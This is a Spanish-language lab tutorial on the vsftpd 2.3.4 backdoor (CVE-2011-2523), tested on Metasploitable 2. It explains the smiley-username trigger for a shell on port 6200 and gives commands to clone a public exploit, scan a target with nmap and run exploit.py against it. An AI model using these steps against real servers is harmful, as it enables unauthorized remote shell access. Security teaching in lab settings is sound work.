# HackerDivulgation.com

# Exploit-vsftpd-2.3.4

Este exploit se hizo para obtener acceso a un servidor que ejecute la versión 2.3.4 de VSFTPD (*Very Secure FTP Daemon*), en 2011 un usuario desconocido subió una versión diferente de VSFTPD que contenía un backdoor. El funcionamiento era simple bastaba con emitir los caracteres de una cara sonriente :) como nombre de usuario y se obtendrá un shell en el puerto 6200. Reporte: CVE-2011-2523

Proyecto: Exploit-vsftpd-2.3.4-Github

- Instalación
- Nmap
- Uso
- Referencias

### Instalación

Clonar el repositorio desde Github.

```
sudo git clone https://github.com/Hellsender01/vsftpd_2.3.4_Exploit.git
```

Ingresar al directorio del proyecto.

```
cd vsftpd_2.3.4_Exploit/
```

Dar permisos de ejecución al script en python.

```
sudo chmod +x exploit.py
```

### **NMAP**

Identificacar el objetivo con NMAP, de esta forma se puede ver si la versión de FTP-Server que se

está ejecutando en el servidor es vulnerable. En este caso la version 2.3.4 de <u>VSFTPD</u>.

```
nmap -sV -T4 IP_TARGET -p 21
```

```
File Actions Edit View Help

(alex® 192)-[~/Desktop/articles]

[
```

## Uso

Cuando ya se identifica que el objetivo está ejecutando esa versión del servicio, se puede ejecutar el script siguiendo la sintaxis:

```
./exploit.py IP_TARGET
```

```
File Actions Edit View Help

(alex® 192)-[~/Desktop/articles]

[
```

### Referencias

- 1. Este test fue realizado en Metasploitable 2 que contiene instalada la versión 2.3.4 de VSFTPD. https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
- 2. Exploit publicado en Github. <a href="https://github.com/Hellsender01/vsftpd\_2.3.4\_Exploit">https://github.com/Hellsender01/vsftpd\_2.3.4\_Exploit</a>
- 3. FTP Server Wiki Debian. https://wiki.debian.org/vsftpd
- 4. Reporte de la vulnerabilidad. <a href="https://www.cvedetails.com/cve/CVE-2011-2523">https://www.cvedetails.com/cve/CVE-2011-2523</a>



Este obra está bajo una <u>licencia de Creative Commons Reconocimiento-NoComercial-</u> SinObraDerivada 4.0 Internacional.